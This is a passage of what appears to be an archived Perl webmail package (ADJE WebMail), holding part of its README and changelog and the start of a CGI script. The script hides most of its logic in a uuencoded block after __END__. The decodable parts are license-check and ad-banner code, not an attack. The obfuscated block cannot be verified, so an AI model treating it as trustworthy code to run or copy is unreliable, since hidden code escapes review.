/users/webmail/mike/in/3729f4c800000f46/robert2.doc
/users/webmail/mike/in/3729f4c800000f5e
/users/webmail/mike/in/3729f4c800000f5e/ALL.txt
/users/webmail/mike/in/3729f4c800000f5e/msg-31777-1.doc

ip.txt		: stores the Log In ip address to verify subsequent
 		  email access.  That's why it's a good idea to log out!
messages.txt	: plain ascii text file that stores records for each email.
		  Similar to a database "unload" format.
addressbook.txt : Address Book names and email addresses. Similar format.

3729f4c800000f2b
3729f4c800000a9a
3729f4c800000f5e : The Unique ID Listing (UIDL - see POP3 Protocol RFC) for
		   each email message determines the name of the directory
                   where it's parsed contents are stored.

If you're not crazy by now, I'll add one last note on message deletion, and
be done with it!  The software is constrained to interact with your
POP (mail) server at Log In.  Therefore, emails are MARKED for 
deletion, but are not ACTUALLY deleted until you Log In again (or log out,
depending on your installation).  This is why
you can appear to delete an email, check your email  with another email
client (like Eudora, Outlook, etc...), and find it is still there.
The real bottom line is that if you ONLY used this software to check your
email, you'd never run into this situation.  Are you NUTSO yet, or what?!

4) *** SYSTEM REQUIREMENTS AND LIMITATIONS ***

   Unix Operating System. Fully tested on Linux and FreeBSD Operating Systems.
   Should install on other Unix OSs.

   Should have AT LEAST 32 Meg of RAM.  Each CGI script slurps up about
   3 Meg during execution.  You do the math!  As with most things, the
   more RAM the better.  64 Meg is probably plenty for most applications.

   The "speed" of the software (how fast it displays pages/emails) is
   governed by the following factors (in order):

   1) The speed of the network.  The software can only display pages as
      fast as the network will allow, from server to client and vice versa.
      A modem connection will not display pages as fast as an
      unshared ISDN connection. If you're sharing a network connection, you'll
      more than likely see variations in performance associated with the
      load (number of users) on the network.

   2) The performance of your server.  Not only the speed and throughput
      capability of the CPU, Hard Drive, Bus, etc.., but also the load on same.
      Don't make the mistake of blaming the software or your hardware when
      the ultimate blame lies in the network.  Odds are that the best
      witnessed performance of the software was when the network was also
      at its best.
      

5) *** TERMS AND CONDITIONS OF USE ***

This software is free for you to use.

                ** HOWEVER **

The advertisement banners must remain intact, and no additional banners
may be placed on the pages.  This is how we are compensated.  The ad banners,
on a good month, will generate less than $1 (one US dollar) in revenue, so it's
hardly worth the risk of a copyright infringement! If you wish to pursue
your own ad banner campaign, you may purchase a license.

6) ** TROUBLE SHOOTING / TECHNICAL SUPPORT ***

If your install does not work, first try changing permissions on
your webmail cgi scripts to 755, i.e.:

> cd cgi_scripts_dir
> chmod 0755 *cgi

This option is less secure, as the web server will own files/directories,
but it SHOULD work!

If you want to run with setuid, try stepping through a re-install of PERL.
You will find options for enabling setuid scripts.  Our experience is that
non-Linux OS's do not support setuid by default.  A better solution is to
install your web server with suexec or cgiwrap.

Contact us at support@adjeweb.com if you have problems installing
the software.  We're here to help!

  Michael Mohlere
  President, ADJE, LLC
  http://www.adjeweb.com


7) ** VERSION IMPROVEMENTS in 3.21 ***

- Added Kluge to IO-Stringy makefile so will install on virtual servers

   ** VERSION IMPROVEMENTS in 3.22 ***

- Removed chmod 777 from webmail home directory so install will not hork
  up cgi-bins that are subdirs of webmail's home directory

- Fixed ads.html file copy problem.

   ** VERSION IMPROVEMENTS in 3.23 ***

- Improved attachment download - button/form will put name in "Save As" under
  MSIE 5.0
- More ads.html problems fixed in install script!
- Color control!
- Changed download page link from http: to ftp: to accommodate Netscape's
  text download of install script.

   ** VERSION IMPROVEMENTS in 3.26 ***

- New parser implementation

   ** VERSION IMPROVEMENTS in 3.27 ***

- Almost finished with language support
- Removed server option from install script.
- Now checks mail with each Mail Box display.
  Updates server at login AND log out.

   ** VERSION IMPROVEMENTS in 3.28-3.29 ***

- Better implementation of parser
- fixed multilingual delete/un-delete from mailbox error

   ** VERSION IMPROVEMENTS in 3.30-3.32 ***

- UIDL now subs '.' and '/' with ord values
- added portuguese language
- added dutch language
- added german language
- subbed rename with File::Copy in install.pl
- added sub readsocket which reads pop/smtp servers until \n (eol).
- added << Previous and Next >> arrows to showmsg.cgi
- reduced rows in preferences sig from 10 to 6 in an attempt to
- Added uidl_to_dirname to ensure UIDLS are valid directory names 
  (alphanumeric)...

  ** VERSION IMPROVEMENTS in 3.33

- Added work-around to support eudora's POP server, "qpopper"
  http://www.eudora.com/freeware/qpop.html
- added french language
- added smaller disclaimer for licensed versions
- logout.cgi will now delete directories that might be left over
- forced license to default to zero during install.
  in the "in" directory..

  ** VERSION IMPROVEMENTS in 3.34

- Now have primary install directory "WebMail" for all installations in
  addition to version directory.
- replaced rm -rf in install script with rmtree
- added check for download size...
- added UIDL support for gnu-pop3d (POP servers not supporting UIDL)

  ** VERSION IMPROVEMENTS in 3.35

- Emergency fix for install script params.cgi file not being updated in
  ../cgi-bin/WebMail/params.cgi
- Setuid error message

  ** VERSION IMPROVEMENTS in 3.35
- Removal of several errors from error_log

  ** VERSION IMPROVEMENTS in 3.36
- Continued error_log work.
- Added server option to install script with spss option.
- Now using reply-to field if present to reply to emails.... (finally!)
- Now using subroutine parse_email_address to implement Mail::Address for
  From: and Reply-To: fields (only expecting one email address for these)
- First attempt to suppress error_log for published versions (only) -
  side note that this prevents us from writing to STDERR in the code...
  error_log now goes to /dev/null, so this is very unix specific....
- Removed Cc: line from showmsg.cgi email header if it contains no data...
- Fixing pages to support text colors other than BLACK. (in progress)
- Removed LOGDIR and DEBUG from params.cgi and occurences in cgi scripts..
- Added login capability to logout confirmation screen - calls inbox.cgi
  directly requiring only users password.
- Removed printing of ad 20% of the time for unlicensed copies...
- Changed test of install.pl size to test of archive size only.
- Removed bug reports link from print_bottom_links.
- Fixed Cc and Bcc in language.spanish.cgi
- Removed params{ISP}, changed HELO ISP to HELO ENV{HTTP_HOST}, changed
  address references to PREFS{YOURADDRESS}
- Added error message from SMTP server to failed email addresses on Confirmation
  Message screen...

  ** VERSION IMPROVEMENTS in 3.37
- Increased allowable password validation length to 32 characters.
- No longer calling suidperl directly, except for "setuid" argument option
- added language.interlingua.cgi
- Fixed dump_entity to detect for empty bodyhandle (!defined($ent->body))
- Upgraded to most recent version of MIME::Parser which included adding
  File::Spec to included modules since perl 5.004_04 did not include File::Spec

  ** VERSION IMPROVEMENTS in 3.38
- Added check for ability to write to webmail's home directory
- Added support for revenue sharing download partners...
- Fixed bug causing publish.pl to modify trailers.txt...
- Modified publish.pl to straight copy all non-cgi scripts

  ** VERSION IMPROVEMENTS in 3.39
- Implemented work around to generate Date: rec for email header if missing
- Changed print $socket to $socket->send in sendmsg.cgi

  ** VERSION IMPROVEMENTS in 3.40
- Moved code to update messages.txt from POP server to sub pop_to_msgs_array
- Added focus() javascript to place cursor in appropriate form box in
  compose.cgi - right now just moves cursor to To: field for new message comp

  ** VERSION IMPROVEMENTS in 3.41
- Only print Attached: list in compose screen if attachments are present,
  otherwise, don't waste the space!
- Save Sent Message option added to compose.cgi and supporting code
  added to other modules
- changed sub readsock from buf=<$socket> to recv($socket,$buf,1024,0)
  which appears to work with older versions of perl (5.001 ...!!)
- changed read of SMTP connect response to recv to guard against the
  multi-line response offered by some older SMTP servers...
- changed validation of password from .+ to .* so a blank password generates
  a webmail error messages and not a server error...
- Added File::copy option if rename fails to copy 
  ads.html, colors.txt, trailers.txt
- User's Guide link now only present on login page, removed from
  print_bottom_links sub.
- improved (?) code to markup links and email addresses in showmsg.cgi
- showmsg.cgi now displays text AND html files - sub "get_attached_files_new"
  is slight mod to get_attached_files to include unnamed html files...
- print_top_menu changed to include folder drop-down option.
- restored readsock to original <$socket> instead of character read
- added sub "get_fields" to match fields from database records and rewrote
  sub get_message_states to utilize this new sub - should be faster AND much
  easier to read!
- changed copyright symbol to &copy;
- added $L{CHARSET} to language.cgi to support header html:
  <META content="text/html; charset=$L{CHARSET}" http-equiv=Content-Type>
  for support of non iso-8859-1 (Latin 1) character sets.
- Using javascript to create inbox table - MUCH faster!!
- utilized read_messages_from_disk in editaddbook.cgi

  ** VERSION IMPROVEMENTS in 3.42
- banner coop only displayed when language = english.
- uses previous values in params.cgi for upgrade values in install script.

  ** VERSION IMPROVEMENTS in 3.43
- update includes license
- get_attached_files_new replaced properly with get_attached_files - caused
  some attachments to not download properly...

  ** VERSION IMPROVEMENTS in 3.44
- increased username validation to 32 chars
- upgrade will set permissions to previous inbox.cgi file..

  ** VERSION IMPROVEMENTS in 3.44
- hard coded validate_username to 32 chars in subroutine - passed param
  is ignored.
- implement URL validation of license to support dynamic IPs...

  ** VERSION IMPROVEMENTS in 3.45
- 32 char username validation

  ** VERSION IMPROVEMENTS in 3.46
- new logic to read header in sendmsg.cgi

  ** VERSION IMPROVEMENTS in 3.47
- fixed trailers with license problem (not recognizing URL license)
  replaced code in sendmsg.cgi with call to subroutine.

  ** VERSION IMPROVEMENTS in 3.48
- Javascript added to generate alert for invalid email address in
  "Set Preferences" input screen.

  ** VERSION IMPROVEMENTS in 3.49
- changed signature in language.*.cgi to:
   $L{'YOURSIG'}="\r\n\r\n$L{'Your Name'}"; # do not translate this line!
- TO DO create separate directory for webmail if installation does not
  find colors.txt file in user webmail's home directory.
- Added Indonesian to languages.
- changed to $wm_home/ADJE_WebMail_Dir in install script.
- fixed bug in showmsg.cgi to display "Saved Outgoing Messages" in top menu
  bar instead of "Incoming Messages"

  ** VERSION IMPROVEMENTS in 3.50
- sending our own generated Date: in outgoing messages instead of relying
  on sendmail/qmail
- unlink ads.html, trailers.txt and colors.txt from cgi-bin directory.
- make extra copy of ads.html to ads.html.bkup - same with colors.txt and
  trailers.txt
- added license.pl to ease implementation of license..
- add -s test on ads.html and trailers.txt to skip if zeroed out...

** VERSION 3.51 AND 3.52 (yes, I LOST TRACK!!)
- Signature refreshed when "Clear Message Box Only" pressed (compose.cgi)
- added &escape_html($msgsubject) to inbox.cgi to display html in the
  subject line, example: <No Subject>
- Put in html for end of body and html in compose.cgi
- Removed advertisement from middle of compose.cgi form for licensed copies.
  Certain javascripts containing form screwed up the form on the page and
  caused the message not to be sent!!!

** VERSION 3.52
- now consistent across all cgi scripts....
require "./params.cgi";
require "./language.cgi";
#use Mail::ADJEMail;
require "./validate.cgi";
require "./subs.cgi";
- moved advert in sendmsg.cgi confirmation out of form - now placed just after
  top menu instead of between confirmation text and form buttons on bottom.
- briefly updated this README.txt file...
- strip port number if present in HTTP_HOST, then check URL license, then IP
  license...

** VERSION 3.53
- oops, remove port number in sendms.cgi also....

** VERSION 3.54
- added target="_blank" to link markups in showmsg.cgi which causes links to
  be displayed in a new browser window...
- added CGIBIN to params.cgi and modified install.pl to place copy in 
  WEBMAILDIR for easier debugging of the software...
- replaced URL markup with version similar to Perl Cookbook, but tailored
  to a page that has already been html escaped...

** VERSION 3.56
- fixed problem with signature for Kirk!!
wm357/addaddbook.cgi100644    312    144      101744  7245677670  13604 0ustar  webmailusers#!/usr/bin/perl -wT

# Copyright 1998-present Michael Mohlere
# Copyright 1998-present ADJE, LLC

# TERMS:
# The advertisement html may NOT be changed, and no additional ad banners
# may be placed on the pages.  This is how we are compensated.  The ad banners,
# on a good month, will generate about $1 (one US dollar) in revenue, so it's
# hardly worth the risk of a copyright infringement! If you wish to include
# your own ad banners, you may purchase a site license.  Please visit our home
# page for details. Copyright and disclaimers may not be removed from pages.

# DISCLAIMER: Use this software at your own risk.

# WARNING: This computer program is protected by copyright law and international
# treaties. Unauthorized reproduction or distribution of this program, or any
# portion of it, may result in severe civil and criminal penalties, and will be
# prosecuted to the maximum extent possible under the law.

# Contact us ( support@adjeweb.com ) if you have problems installing
# the software.  We're here to help!

# Michael Mohlere
# President, ADJE, LLC ( http://www.adjeweb.com )

# This software includes many modules available from CPAN (Comprehensive
# Perl Archive Network - see www.perl.com).  These modules are free to use,
# modify, and distribute under the GNU GPL.

# Control error_log output OR print name of script to STDERR
BEGIN {
  use CGI::Carp qw(carpout);
  open(LOG,">>/dev/null") or die "Unable to append to /dev/null: $!\n";
  carpout(*LOG);
}

use lib ".";
use CGI qw/(:cgi) escape unescape/;

require "./params.cgi";
require "./language.cgi";
do './Mail/ADJEMail';
__END__
/<W5B('9A;&ED871E('L*
A;7D@*"1V87(L)'!A='1E<FXL)&UA>&QE;BD@/2!`7SL*
M*"1V87(@/7X@+UXH)'!A='1E<FXI)"\@)B8@;&5N9W1H("1V87(@/#T@)&UA
7>&QE;BD@/R!R971U<FX@.B!E>&ET.PH`
"?0H`
8<W5B('9A;&ED871E7W5S97)N86UE('L*
:;7D@*"1U<V5R;F%M92PD;&5N*2`]($!?.PH`
+)&QE;B`](#,R.PH`
A*"1U<V5R;F%M92`]?B`O7"Y<+B\I("`@)B8@97AI=#L*
A*"1U<V5R;F%M92`]?B`O6UQ<7"]=+RD@)B8@97AI=#L*
A*"1U<V5R;F%M92`]?B`O97AE8R`O:2D@)B8@97AI=#L*
C*&QE;F=T:"`D=7-E<FYA;64@/B`D;&5N*2`F)B!E>&ET.PH`
"?0H`
2<W5B(&ES7VQI8V5N<V5D('L*
-;7D@)&QI8R`](#`["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
M*&UY("1H='1P7VAO<W0@/2`D14Y6>TA45%!?2$]35'TI(#U^(',O.EQD*R0O
#+SL*
/:68@*"10>TQ)0WTI('L*
2;7D@)&-O9&4])%![3$E#?3L*
2)&-O9&4@/7X@<R]>+BXO+SL*
3)&-O9&4@/7X@<R\N+BXD+R\["@``
@)&AE>"`]("9U<FQ?=&]?:&5X*"1H='1P7VAO<W0I.PH`
@)&QI8R`]("@D8V]D92!E<2`D:&5X*2`_(#$@.B`P.PH`
-:68@*"$D;&EC*2!["@``
*;7D@)&%D9'(["@``
A:68@*&5X:7-T<R@D14Y6>U-%4E9%4E]!1$12?2DI('L*
M*"1%3E9[4T525D527T%$1%)](#U^("]>*%M<9%PN72LI)"\I("8F("@D861D
'<CTD,2D["@``
0(21A9&1R("8F(&5X:70["@``
)?2!E;'-E('L*
>=7-E($E/.CI3;V-K970@<7<H:6YE=%]N=&]A*3L*
M)&%D9'(@/2!I;F5T7VYT;V$H<V-A;&%R*&=E=&AO<W1B>6YA;64H)&AT='!?
):&]S="DI*3L*
"?0H`
A;7D@0&%D9')E<W,@/2!S<&QI="@O7"XO+"1A9&1R*3L*
-;7D@)'1O="`](#`["@``
?9F]R("A`861D<F5S<RD@>R`D=&]T("L]("1?.R!]"@``
>;7D@)&AE>"`]('-P<FEN=&8H(B5X(BPD=&]T*3L*
/)&AE>#UU8R@D:&5X*3L*
@)&QI8R`]("@D8V]D92!E<2`D:&5X*2`_(#$@.B`P.PH`
"?0H`
6?2`C(&5N9"!I9B`D4'M,24-]+BXN"@``
-<F5T=7)N("1L:6,["@``
;?2`C(&5N9"!S=6(@:7-?;&EC96YS960N+BX*
1<W5B('5R;%]T;U]H97@@>PH`
/;7D@*"1I;BD@/2!`7SL*
-;7D@)'-U;2`](#`["@``
.<&]S*"1I;BD@/2`P.PH`
9=VAI;&4@*"1I;B`]?B`O*"XI+V=S*2!["@``
1)'-U;2`K/2!O<F0H)#$I.PH`
"?0H`
?<F5T=7)N('5C*'-P<FEN=&8H(B5X(BPD<W5M*2D["@``
"?0H`
/<W5B('!R:6YT7V%D('L*
:;7D@*"1L87-T860L)&%L:6=N*2`]($!?.PH`
(;7D@)&ED.PH`
*;&]C86P@)%\["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
3:68@*"1L87-T860@/"`P*2!["@``
,)&ED(#T@=&EM93L*
)?2!E;'-E('L*
1)&ED(#T@*RLD;&%S=&%D.PH`
"?0H`
<<')I;G0@(CQP(&%L:6=N/21A;&EG;CY<;B(["@``
8;7D@)&QI8R`]("9I<U]L:6-E;G-E9#L*
-:68@*"$D;&EC*2!["@``
2)%![041)1'T](FUM=VTQ(CL*
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB2F%V85-C<FEP="(^"@``
%/"$M+0H`
6=F%R(&YO=R`](&YE=R!$871E*"D["@``
M=F%R('5A:60@/2!N;W<N9V5T5&EM92@I("4@36%T:"YF;&]O<B@X-C0P,#`P
8("T@36%T:"YR86YD;VTH*2HQ,#`P*3L*
M9&]C=6UE;G0N=W)I=&4H)SQI9G)A;64@<W)C/2)H='1P.B\O9F]C=7-I;BYA
M9',N=&%R9V5T;F5T+F-O;2]A9"]I9#TD4'M!1$E$?29O<'0]:&AJ)F-V/3(Q
M,"9U:60])R`K('5A:60@*R`G(B!H96EG:'0]-C`@=VED=&@]-#8X(&9R86UE
M8F]R9&5R/3`@;6%R9VEN:&5I9VAT/3`@;6%R9VEN=VED=&@],"!S8W)O;&QI
,;F<](FYO(CXG*3L*
M9&]C=6UE;G0N=W)I=&4H)SQA(&AR968](FAT='`Z+R]F;V-U<VEN+F%D<RYT
M87)G971N970N8V]M+V%D+VED/210>T%$241])F]P=#UC:6HF8W8],C$P)G5I
B9#TG("L@=6%I9"`K("<B('1A<F=E=#TB7W1O<"(^)RD["@``
M9&]C=6UE;G0N=W)I=&4H)R`@("`\:6UG('-R8STB:'1T<#HO+V9O8W5S:6XN
M861S+G1A<F=E=&YE="YC;VTO860O:60])%![041)1'TF;W!T/6AI:B9C=CTR
M,3`F=6ED/2<@*R!U86ED("L@)R(@86QT/2)#;&EC:R!H97)E('1O('9I<VET
M(&]U<B!S<&]N<V]R(B!W:61T:#TT-C@@:&5I9VAT/38P(&)O<F1E<CTP/B<I
".PH`
M9&]C=6UE;G0N=W)I=&4H)SPO83X\8G(^/&9O;G0@9F%C93TB87)I86PB('-I
M>F4](C$B/CQA(&AR968](FAT='`Z+R]W=W<N9F]C=7-I;BYC;VTB/F9O8W5S
M24X@4W!E8VEA;'1Y(%=E8B!.971W;W)K/"]A/CPO9F]N=#X\+VEF<F%M93XG
#*3L*
&+R\M+3X*
*/"]S8W)I<'0^"@``
+/&YO<V-R:7!T/@H`
M/&EF<F%M92!S<F,](FAT='`Z+R]F;V-U<VEN+F%D<RYT87)G971N970N8V]M
M+V%D+VED/210>T%$241])F]P=#UH:&XF8W8],C$P)G5I9#TQ(B!H96EG:'0]
M-C`@=VED=&@]-#8X(&9R86UE8F]R9&5R/3`@;6%R9VEN:&5I9VAT/3`@;6%R
;9VEN=VED=&@],"!S8W)O;&QI;F<](FYO(CX*
M/&$@:')E9CTB:'1T<#HO+V9O8W5S:6XN861S+G1A<F=E=&YE="YC;VTO860O
M:60])%![041)1'TF;W!T/6-I;B9C=CTR,3`F=6ED/3$B('1A<F=E=#TB7W1O
(<"(^/&)R/@H`
M/&EM9R!S<F,](FAT='`Z+R]F;V-U<VEN+F%D<RYT87)G971N970N8V]M+V%D
M+VED/210>T%$241])F]P=#UH:6XF8W8],C$P)G5I9#TQ(B!A;'0](D-L:6-K
M(&AE<F4@=&\@=FES:70@;W5R('-P;VYS;W(B('=I9'1H/30V."!H96EG:'0]
--C`@8F]R9&5R/3`^"@``
M/"]A/CQB<CX\9F]N="!F86-E/2)A<FEA;"(@<VEZ93TB,2(^/&$@:')E9CTB
M:'1T<#HO+W=W=RYF;V-U<VEN+F-O;2(^9F]C=7-)3B!3<&5C:6%L='D@5V5B
=($YE='=O<FL\+V$^/"]F;VYT/CPO:69R86UE/@H`
,/"]N;W-C<FEP=#X*
(2$52141/0PH`
M?2!E;'-E('L@(R!I9B!L:6-E;G-E9"P@<')I;G0@860@:'1M;"!I;B!^=V5B
2;6%I;"]A9',N:'1M;"XN+BX*
E:68@*"`M<R`B)%![5T5"34%)3$1)4GTO861S+FAT;6PB*2!["@``
D;W!E;BA&2"PB)%![5T5"34%)3$1)4GTO861S+FAT;6PB*3L*
.=VAI;&4H/$9(/BD@>PH`
=*"]>7',J7&XD+R!\?"`O7B,O*2`F)B!N97AT.PH`
2<R]53DE1545)1"\D:60O9SL*
'<')I;G0["@``
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
"?0H`
0<')I;G0@(CPO<#Y<;B(["@``
,<F5T=7)N("1I9#L*
4?2`C(&5N9"!P<FEN=%]A9"XN+@H`
:<W5B('!R:6YT7V)A;FYE<F-O;W!?860@>PH`
:;7D@*"1A;&EG;BPD8V]O<&ED*2`]($!?.PH`
/;7D@)&ED(#T@=&EM93L*
*;&]C86P@)%\["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
<<')I;G0@(CQP(&%L:6=N/21A;&EG;CY<;B(["@``
8;7D@)&QI8R`]("9I<U]L:6-E;G-E9#L*
-:68@*"$D;&EC*2!["@``
0<')I;G0\/$A%4D5$3T,["@``
A/"$M+2!"96=I;B!"86YN97(@0V\M3W`@0V]D92`M+3X*
$/%`^"@``
M/%1!0DQ%($%,24=./21A;&EG;B!"3U)$15(](C`B($-%3$Q0041$24Y'/2(P
?(B!#14Q,4U!!0TE.1STB,"(@5TE$5$@](C4P,"(^"@``
%/%12/@H`
?/%1$(%=)1%1(/2(R-3`B($%,24=./2)224=(5"(^"@``
M/$$@2%)%1CTB:'1T<#HO+W=W=RYB86YN97)C;RUO<"YC;VTO8V=I+6)I;B]A
M9',N;F5W+VQE9G0O861S7VYO;G-S:2YP;#]A9'9E<G0]3F]N4U-))G!A9V4]
2;6]H;&5R92XD8V]O<&ED(CX*
M/$E-1R!34D,](FAT='`Z+R]W=W<N8F%N;F5R8V\M;W`N8V]M+V-G:2UB:6XO
M861S+FYE=R]L969T+V%D<U]N;VYS<VDN<&P_240];6]H;&5R929P86=E/6UO
/:&QE<F4N)&-O;W!I9"(*
M5TE$5$@](C(U,"(@2$5)1TA4/2(W,B(@04Q)1TX](D)/5%1/32(@04Q4/2)"
L86YN97)C;RUO<"!"86YN97(@17AC:&%N9V4B($)/4D1%4CTB,"(^/"]!/@H`
&/"]41#X*
>/%1$(%=)1%1(/2(R-3`B($%,24=./2),1494(CX*
M/$$@2%)%1CTB:'1T<#HO+W=W=RYB86YN97)C;RUO<"YC;VTO8V=I+6)I;B]A
M9',N;F5W+W)I9VAT+V%D<U]N;VYS<VDN<&P_861V97)T/4YO;E-3229P86=E
3/6UO:&QE<F4N)&-O;W!I9"(^"@``
M/$E-1R!34D,](FAT='`Z+R]W=W<N8F%N;F5R8V\M;W`N8V]M+V-G:2UB:6XO
M861S+FYE=R]R:6=H="]A9'-?;F]N<W-I+G!L/TE$/6UO:&QE<F4F<&%G93UM
0;VAL97)E+B1C;V]P:60B"@``
M5TE$5$@](C(U,"(@2$5)1TA4/2(W,B(@04Q)1TX](D)/5%1/32(@04Q4/2)"
L86YN97)C;RUO<"!"86YN97(@17AC:&%N9V4B($)/4D1%4CTB,"(^/"]!/@H`
&/"]41#X*
&/"]44CX*
)/"]404),13X*
?/"$M+2!%;F0@0F%N;F5R($-O+4]P($-O9&4@+2T^"@``
(2$52141/0PH`
"?0H`
0<')I;G0@(CPO<#Y<;B(["@``
??2`C(&5N9"!P<FEN=%]B86YN97)C;V]P7V%D+BXN"@``
.<W5B(&=E=&%D;F\@>PH`
/;7D@*"1I;BD@/2!`7SL*
.<&]S*"1I;BD@/2`P.PH`
+;7D@)'1O=#TP.PH`
9=VAI;&4@*"1I;B`]?B`O*"XI+V=S*2!["@``
1)'1O="`K/2!O<F0H)#$I.PH`
"?0H`
-<F5T=7)N("1T;W0["@``
"?0H`
#,3L*
7<W5B(&=E=%]H96%D97)?;&EN97,@>PH`
:;7D@*"1C;VQO;BQ`:&5A9&5R*2`]($!?.PH`
*;7D@)&1E<V,["@``
.;7D@0&QI;F5S/2@I.PH`
*;&]C86P@)%\["@``
09F]R("A`:&5A9&5R*2!["@``
?+UXH6UQW+5TK/SHI+R`F)B`H)&1E<V,@/2`D,2D["@``
J*"1D97-C(#U^("]>)&-O;&]N+VDI("8F('!U<V@H0&QI;F5S+"1?*3L*
"?0H`
/<F5T=7)N($!L:6YE<SL*
"?0H`
3<W5B(&=E=%]R96-?:&%S:"!["@``
0;7D@*"1R96,I(#T@0%\["@``
-8VAO;7`H)')E8RD["@``
?;7D@0&9I96QD<R`]('-P;&ET*"]<?"\L)')E8RD["@``
);7D@)&D],#L*
M=VAI;&4@*"`H)&D\0&9I96QD<RD@)B8@*"1F:65L9'-;)&E=(#U^("]>5D%2
)7"\O*2`I('L*
I*"1D97-C+"1V86PI(#T@<W!L:70H+SHO+"1F:65L9'-;)&E=+#(I.PH`
6)&1E<V,@/7X@<R]>5D%27"\O+V\["@``
5)&AA<VA[)&1E<V-](#T@)'9A;#L*
&)&DK*SL*
"?0H`
.<F5T=7)N("5H87-H.PH`
"?0H`
4<W5B(&=E=%]A;&Q?9FEL97,@>PH`
0;7D@*"1R96,I(#T@0%\["@``
2;7D@0&US9U]P87)T<STH*3L*
?;7D@*"1F;W)M870L)&9I;&5N86UE+"1F:65L9"D["@``
>;7D@0&9I;&5S(#T@<W!L:70H+UQ\+RPD<F5C*3L*
:9F]R96%C:"`D9FEE;&0@*$!F:6QE<RD@>PH`
::68@*"1F:65L9"`A?B`O7E9!4EPO+RD@>PH`
K*"1F;W)M870L)&9I;&5N86UE*2`]('-P;&ET*"\Z+RPD9FEE;&0L,BD["@``
3<'5S:"!`;7-G7W!A<G1S+"!["@``
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
"?0H`
"?0H`
3<F5T=7)N($!M<V=?<&%R=',["@``
"?0H`
><W5B(&=E=%]T97AT7V%N9%]H=&UL7V9I;&5S('L*
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
,;7D@)&9O<FUA=#L*
.;7D@)&9I;&5N86UE.PH`
.;7D@)&)A<V5N86UE.PH`
3;7D@0'1E>'1?<&%R=',]*"D["@``
=9F]R96%C:"`D<&%R="`H0&US9U]P87)T<RD@>PH`
;)&9O<FUA="`]("1P87)T+3Y[1D]234%4?3L*
?)&9I;&5N86UE(#T@)'!A<G0M/GM&24Q%3D%-17T["@``
7)&)A<V5N86UE(#T@)&9I;&5N86UE.PH`
8)&)A<V5N86UE(#U^(',O7BXJ7"\O+SL*
M:68@*"`H)&9O<FUA="`]?B!M(RAT97AT+VAT;6Q\=&5X="]P;&%I;GQ>;65S
M<V%G92\I(VDI("8F("@D8F%S96YA;64@/7X@+UXH;7-G+7QM;5PN*2\I("D@
">PH`
4<'5S:"!`=&5X=%]P87)T<RP@>PH`
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
)?2!E;'-E('L*
&;&%S=#L*
"?0H`
"?0H`
4<F5T=7)N($!T97AT7W!A<G1S.PH`
"?0H`
5<W5B(&=E=%]T97AT7V9I;&5S('L*
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
,;7D@)&9O<FUA=#L*
.;7D@)&9I;&5N86UE.PH`
.;7D@)&)A<V5N86UE.PH`
3;7D@0'1E>'1?<&%R=',]*"D["@``
=9F]R96%C:"`D<&%R="`H0&US9U]P87)T<RD@>PH`
;)&9O<FUA="`]("1P87)T+3Y[1D]234%4?3L*
?)&9I;&5N86UE(#T@)'!A<G0M/GM&24Q%3D%-17T["@``
7)&)A<V5N86UE(#T@)&9I;&5N86UE.PH`
8)&)A<V5N86UE(#U^(',O7BXJ7"\O+SL*
M:68@*"`H("@D9F]R;6%T(#U^("]T97AT7"]P;&%I;B]I*2!\?"`H)&9O<FUA
M="`]?B`O7FUE<W-A9V5<+R]I*2`I("8F("@D8F%S96YA;64@/7X@+UXH;7-G
.+7QM;5PN*2\I("D@>PH`
4<'5S:"!`=&5X=%]P87)T<RP@>PH`
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
)?2!E;'-E('L*
&;&%S=#L*
"?0H`
"?0H`
4<F5T=7)N($!T97AT7W!A<G1S.PH`
"?0H`
=<W5B(&=E=%]A='1A8VAE9%]F:6QE<U]N97<@>PH`
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
7;7D@0&%T=&%C:&5D7W!A<G1S/2@I.PH`
@9F]R("@D:3TP.R1I/$!M<V=?<&%R=',[)&DK*RD@>PH`
I;7D@)&9O<FUA="`@("`@/2`D;7-G7W!A<G1S6R1I77M&3U)-051].PH`
K;7D@)&9N86UE("`@("`@/2`D;7-G7W!A<G1S6R1I77M&24Q%3D%-17T["@``
9;7D@)&)A<V5N86UE("`@/2`D9FYA;64["@``
:)&)A<V5N86UE("`@/7X@<R]>+BI<+R\O.PH`
M:68@("@@(2@@*"1F;W)M870@/7X@;2,H=&5X="]H=&UL?'1E>'0O<&QA:6Y\
M7FUE<W-A9V4O*2-I*2`F)B`H)&)A<V5N86UE(#U^("]>*&US9RU\;6U<+BDO
(*2`I("D@>PH`
&;&%S=#L*
"?0H`
"?0H`
==VAI;&4@*"`D:2`\("0C;7-G7W!A<G1S("D@>PH`
8<'5S:"!`871T86-H961?<&%R=',L('L*
B1D]234%4(#T^("1M<V=?<&%R='-;)&E=>T9/4DU!5'TL"@``
F1DE,14Y!344@/3X@)&US9U]P87)T<ULD:5U[1DE,14Y!345]+`H`
#?3L*
&)&DK*SL*
"?0H`
8<F5T=7)N($!A='1A8VAE9%]P87)T<SL*
"?0H`
9<W5B(&=E=%]A='1A8VAE9%]F:6QE<R!["@``
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
7;7D@0&%T=&%C:&5D7W!A<G1S/2@I.PH`
@9F]R("@D:3TP.R1I/$!M<V=?<&%R=',[)&DK*RD@>PH`
I;7D@)&9O<FUA="`@("`@/2`D;7-G7W!A<G1S6R1I77M&3U)-051].PH`
K;7D@)&9N86UE("`@("`@/2`D;7-G7W!A<G1S6R1I77M&24Q%3D%-17T["@``
9;7D@)&)A<V5N86UE("`@/2`D9FYA;64["@``
:)&)A<V5N86UE("`@/7X@<R]>+BI<+R\O.PH`
M:68@("@@(2@@*"`H)&9O<FUA="`]?B`O=&5X=%PO<&QA:6XO:2D@?'P@*"1F
